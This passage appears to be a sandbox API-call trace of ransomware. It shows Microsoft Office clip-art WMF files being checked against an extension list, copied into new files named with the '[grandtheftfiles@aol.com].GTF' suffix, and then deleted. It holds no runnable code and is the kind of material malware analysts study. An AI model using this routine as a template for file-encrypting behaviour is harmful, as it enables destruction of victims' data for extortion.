	[0162.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.913] lstrlenW (lpString=".xlsx") returned 5
	[0162.913] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0162.913] lstrlenW (lpString=".ppt") returned 4
	[0162.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0162.913] lstrlenW (lpString=".zip") returned 4
	[0162.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.913] lstrlenW (lpString=".rar") returned 4
	[0162.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.913] lstrlenW (lpString=".bz2") returned 4
	[0162.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.913] lstrlenW (lpString=".7z") returned 3
	[0162.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0162.913] lstrlenW (lpString=".dbf") returned 4
	[0162.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0162.913] lstrlenW (lpString=".1cd") returned 4
	[0162.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0162.913] lstrlenW (lpString=".jpg") returned 4
	[0162.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.914] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.914] lstrlenW (lpString="J0105234.WMF") returned 12
	[0162.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.915] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3444) returned 1
	[0162.915] CloseHandle (hObject=0x53c) returned 1
	[0162.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 0x220
	[0162.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.915] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.915] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0162.916] GetLastError () returned 0x0
	[0162.916] ReadFile (in: hFile=0x53c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0xd74, lpOverlapped=0x0) returned 1
	[0162.918] WriteFile (in: hFile=0x544, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xd80, lpOverlapped=0x0) returned 1
	[0162.918] ReadFile (in: hFile=0x53c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.919] WriteFile (in: hFile=0x544, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.919] SetEndOfFile (hFile=0x544) returned 1
	[0162.919] CloseHandle (hObject=0x544) returned 1
	[0162.919] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.919] SetEndOfFile (hFile=0x53c) returned 1
	[0162.922] CloseHandle (hObject=0x53c) returned 1
	[0162.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 1
	[0162.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0162.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0162.923] lstrlenW (lpString=".doc") returned 4
	[0162.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.923] lstrlenW (lpString=".docx") returned 5
	[0162.923] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0162.923] lstrlenW (lpString=".pdf") returned 4
	[0162.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.923] lstrlenW (lpString=".xls") returned 4
	[0162.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.923] lstrlenW (lpString=".xlsx") returned 5
	[0162.923] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0162.923] lstrlenW (lpString=".ppt") returned 4
	[0162.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0162.923] lstrlenW (lpString=".zip") returned 4
	[0162.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.923] lstrlenW (lpString=".rar") returned 4
	[0162.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.923] lstrlenW (lpString=".bz2") returned 4
	[0162.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.923] lstrlenW (lpString=".7z") returned 3
	[0162.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0162.923] lstrlenW (lpString=".dbf") returned 4
	[0162.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0162.923] lstrlenW (lpString=".1cd") returned 4
	[0162.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0162.924] lstrlenW (lpString=".jpg") returned 4
	[0162.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0162.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0162.924] lstrlenW (lpString=".doc") returned 4
	[0162.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.924] lstrlenW (lpString=".docx") returned 5
	[0162.924] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0162.924] lstrlenW (lpString=".pdf") returned 4
	[0162.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.924] lstrlenW (lpString=".xls") returned 4
	[0162.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.924] lstrlenW (lpString=".xlsx") returned 5
	[0162.924] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0162.924] lstrlenW (lpString=".ppt") returned 4
	[0162.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0162.924] lstrlenW (lpString=".zip") returned 4
	[0162.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.924] lstrlenW (lpString=".rar") returned 4
	[0162.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.924] lstrlenW (lpString=".bz2") returned 4
	[0162.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.924] lstrlenW (lpString=".7z") returned 3
	[0162.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0162.924] lstrlenW (lpString=".dbf") returned 4
	[0162.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0162.924] lstrlenW (lpString=".1cd") returned 4
	[0162.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0162.924] lstrlenW (lpString=".jpg") returned 4
	[0162.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.925] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.925] lstrlenW (lpString="J0105238.WMF") returned 12
	[0162.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.925] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=17172) returned 1
	[0162.925] CloseHandle (hObject=0x53c) returned 1
	[0162.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 0x220
	[0162.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.926] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.926] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0162.927] GetLastError () returned 0x0
	[0162.927] ReadFile (in: hFile=0x53c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x4314, lpOverlapped=0x0) returned 1
	[0162.929] WriteFile (in: hFile=0x544, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x4320, lpOverlapped=0x0) returned 1
	[0162.932] ReadFile (in: hFile=0x53c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.932] WriteFile (in: hFile=0x544, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.932] SetEndOfFile (hFile=0x544) returned 1
	[0162.932] CloseHandle (hObject=0x544) returned 1
	[0162.932] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.932] SetEndOfFile (hFile=0x53c) returned 1
	[0162.935] CloseHandle (hObject=0x53c) returned 1
	[0162.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 1
	[0162.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0162.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0162.936] lstrlenW (lpString=".doc") returned 4
	[0162.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.936] lstrlenW (lpString=".docx") returned 5
	[0162.936] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0162.936] lstrlenW (lpString=".pdf") returned 4
	[0162.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.936] lstrlenW (lpString=".xls") returned 4
	[0162.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.936] lstrlenW (lpString=".xlsx") returned 5
	[0162.936] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0162.936] lstrlenW (lpString=".ppt") returned 4
	[0162.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0162.936] lstrlenW (lpString=".zip") returned 4
	[0162.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.936] lstrlenW (lpString=".rar") returned 4
	[0162.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.936] lstrlenW (lpString=".bz2") returned 4
	[0162.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.936] lstrlenW (lpString=".7z") returned 3
	[0162.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0162.936] lstrlenW (lpString=".dbf") returned 4
	[0162.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0162.936] lstrlenW (lpString=".1cd") returned 4
	[0162.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0162.936] lstrlenW (lpString=".jpg") returned 4
	[0162.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0162.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0162.937] lstrlenW (lpString=".doc") returned 4
	[0162.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.937] lstrlenW (lpString=".docx") returned 5
	[0162.937] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0162.937] lstrlenW (lpString=".pdf") returned 4
	[0162.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.937] lstrlenW (lpString=".xls") returned 4
	[0162.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.937] lstrlenW (lpString=".xlsx") returned 5
	[0162.937] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0162.937] lstrlenW (lpString=".ppt") returned 4
	[0162.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0162.937] lstrlenW (lpString=".zip") returned 4
	[0162.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.937] lstrlenW (lpString=".rar") returned 4
	[0162.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.937] lstrlenW (lpString=".bz2") returned 4
	[0162.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.937] lstrlenW (lpString=".7z") returned 3
	[0162.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0162.937] lstrlenW (lpString=".dbf") returned 4
	[0162.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0162.937] lstrlenW (lpString=".1cd") returned 4
	[0162.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0162.937] lstrlenW (lpString=".jpg") returned 4
	[0162.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.938] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.938] lstrlenW (lpString="J0105240.WMF") returned 12
	[0162.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.938] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11532) returned 1
	[0162.938] CloseHandle (hObject=0x53c) returned 1
	[0162.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 0x220
	[0162.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.939] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.939] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0162.939] GetLastError () returned 0x0
	[0162.939] ReadFile (in: hFile=0x53c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x2d0c, lpOverlapped=0x0) returned 1
	[0163.257] WriteFile (in: hFile=0x544, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2d10, lpOverlapped=0x0) returned 1
	[0163.258] ReadFile (in: hFile=0x53c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.258] WriteFile (in: hFile=0x544, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.258] SetEndOfFile (hFile=0x544) returned 1
	[0163.258] CloseHandle (hObject=0x544) returned 1
	[0163.258] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.258] SetEndOfFile (hFile=0x53c) returned 1
	[0163.260] CloseHandle (hObject=0x53c) returned 1
	[0163.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 1
	[0163.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0163.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0163.720] lstrlenW (lpString=".doc") returned 4
	[0163.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.720] lstrlenW (lpString=".docx") returned 5
	[0163.720] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0163.720] lstrlenW (lpString=".pdf") returned 4
	[0163.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.720] lstrlenW (lpString=".xls") returned 4
	[0163.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.720] lstrlenW (lpString=".xlsx") returned 5
	[0163.720] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0163.720] lstrlenW (lpString=".ppt") returned 4
	[0163.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0163.720] lstrlenW (lpString=".zip") returned 4
	[0163.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.720] lstrlenW (lpString=".rar") returned 4
	[0163.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.720] lstrlenW (lpString=".bz2") returned 4
	[0163.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.720] lstrlenW (lpString=".7z") returned 3
	[0163.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0163.720] lstrlenW (lpString=".dbf") returned 4
	[0163.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0163.720] lstrlenW (lpString=".1cd") returned 4
	[0163.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0163.721] lstrlenW (lpString=".jpg") returned 4
	[0163.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0163.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0163.721] lstrlenW (lpString=".doc") returned 4
	[0163.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.721] lstrlenW (lpString=".docx") returned 5
	[0163.721] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0163.721] lstrlenW (lpString=".pdf") returned 4
	[0163.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.721] lstrlenW (lpString=".xls") returned 4
